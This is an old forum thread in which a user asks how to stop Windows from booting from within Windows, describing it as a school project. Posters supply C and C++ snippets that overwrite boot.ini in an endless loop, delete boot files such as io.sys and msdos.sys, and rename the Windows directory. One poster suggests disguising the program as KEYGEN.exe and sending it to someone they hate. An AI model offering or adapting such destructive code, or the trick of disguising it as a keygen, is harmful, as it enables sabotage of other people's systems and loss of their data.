neos Posted February 21, 2002 Share Posted February 21, 2002 Hey, I need to know if it is possible to erase a windows mbr, so you can't boot into windows. It has to be done from within windows. Any suggestions? Link to comment Share on other sites More sharing options...
0 Xcalibur Posted February 21, 2002 Share Posted February 21, 2002 boot with bootdisk then type fdisk /mbr Link to comment Share on other sites More sharing options...
0 thuggers Posted February 21, 2002 Share Posted February 21, 2002 erm im not sure that will stop windows from loading... Link to comment Share on other sites More sharing options...
0 Xcalibur Posted February 21, 2002 Share Posted February 21, 2002 oops.. sorry .. misunderstood the question.. u have to use a third party utility to do that.. and i'm quite sure you cant do it from within windows. Link to comment Share on other sites More sharing options...
0 DoubleJ Posted February 21, 2002 Share Posted February 21, 2002 Why would you want to stop Windows from loading. Do you mean by default or do you mean ever. It would seem that if you wanted to prevent it from ever being loaded again, then it occurs to me that sort of thing could be used as a virus of some sort. Perhaps I'm just paranoid... hey, stop looking at me.:paranoid: Link to comment Share on other sites More sharing options...
0 neowin_hipster Posted February 21, 2002 Share Posted February 21, 2002 I need to know if it is possible to erase a windows mbr, so you can't boot into windows. It has to be done from within windows. Virus? Well, anyways, You can't edit partitions, format windows drive, or edit mbr in windows. You must do it from DOS or another OS. Easiest way to delete it is to format the partition. Link to comment Share on other sites More sharing options...
0 DoubleJ Posted February 21, 2002 Share Posted February 21, 2002 Originally posted by Goalie_CA Virus? Well, anyways, You can't edit partitions, format windows drive, or edit mbr in windows. You must do it from DOS or another OS. Easiest way to delete it is to format the partition. I didn't mean a virus exactly, but if there were an easy way to delete the mbr in windows, it could possibly create a bit of havoc if someone unknowingly were to run a piece of code that did that. To tell you the truth, I don't really know what I am talking about, but I'm off my medication and I feel lonely.:D :D :D Link to comment Share on other sites More sharing options...
0 neos Posted February 21, 2002 Author Share Posted February 21, 2002 Im suppost to do it from within windows. Its a school project.(my teacher wants to see what were "capable" of??, anywayz) I have to disable windows from booting somehow. I can use c and c++ to program, so i guess this could be a virus. But, how might I go about it? Link to comment Share on other sites More sharing options...
0 ahodes1 Posted February 21, 2002 Share Posted February 21, 2002 If its winXP you should be able to replace boot.ini with a faulty one. Link to comment Share on other sites More sharing options...
0 Murdoc Posted February 21, 2002 Share Posted February 21, 2002 C++, here ill pseudo code it for ya... int main.. bla bla bla{ outfileor something ("C:Windowswin.ini"); [color=red]---(If it is a win98 or below pc or this depends on all the boot files)[/color] // -or- outfile("C:config.sys")[color=red]---(another one depending on the OS)[/color] //then over write all or some of the system filles needed for boot}[/PHP] or just use this snippit, its in a forever loop and will also fill the hdd... [PHP]#include #include int main(){ ofstream outFile ("C:boot.ini"); cout << "Debug Message: Overwriting of critical system files have commenced"; while(1) outFile << "USELESS JUNK IS THE BESTEST CRAP EVER!!!! /t/t"; cout << "Debug Message: You will never see this but when you restart, you are screwed."; return 0;}[/PHP] and to think that i am a mediocre compsci student.. bah, i rather learn asembly and write virii anywayz :evil: :evil: :evil: [[ EDIT: i forgot to mention that this is in win32 text conole.. ]] [[ EDIT AGAIN: USE THIS AT YOUR OWN RISK. I AM NOT AT ALL RESPONSIBLE IF YOU HAVE A LIFELONG SUBSCRIPTION TO NOSE BOOGER BI-MONTHY AFTER THE USE OF THIS CODE. ]] Link to comment Share on other sites More sharing options...
0 neowin_hipster Posted February 21, 2002 Share Posted February 21, 2002 YOU WILL NEED TO REINSTALL YOUR OS IF YOU RUN THIS!!!!!! I am not responsible if this eats your dog or steals your girlfriend. #include //good ol' C int main(){ remove ("c:/boot.ini"); //notice its not c: its c:/ because of escape chars!!! remove ("c:/config.sys"); remove ("c:/io.sys"); remove ("c:/msdos.sys"); rename("c:/windows","c:/VIRUS"); //Will rename windows dir, won't boot!!! //put whatever files you want!!!! return 0; }; Link to comment Share on other sites More sharing options...
0 YahoKa Posted February 21, 2002 Share Posted February 21, 2002 Well yea but under Win NT 5 and up there is sys file protection. Link to comment Share on other sites More sharing options...
0 neowin_hipster Posted February 21, 2002 Share Posted February 21, 2002 I know the file protection protests average joe from deleting files but how low-level does the protection go??? Is it written into the NTFS file system. Does it have an attribute??? ps: MINE IS THE BEST!!!! pps: Rename the app to KEYGEN.exe and send it to some1 you hate!!! Link to comment Share on other sites More sharing options...
0 YahoKa Posted February 21, 2002 Share Posted February 21, 2002 Since your OS is the god of all I/O in the computer, it can abuse, beat, destroy, delete, mutalate, or deny access to any program that tries to delete parts of the OS. Link to comment Share on other sites More sharing options...
0 Vlad Posted February 22, 2002 Share Posted February 22, 2002 What in the hell kind of project is that? "Hi plz stop windows form working kkthx" heh, I know you can overwrite the MBR in assembly, I dont know about C++. Link to comment Share on other sites More sharing options...
Question
neos
Hey,
I need to know if it is possible to erase a windows mbr, so you can't boot into windows. It has to be done from within windows. Any suggestions?
Link to comment
Share on other sites
14 answers to this question
Recommended Posts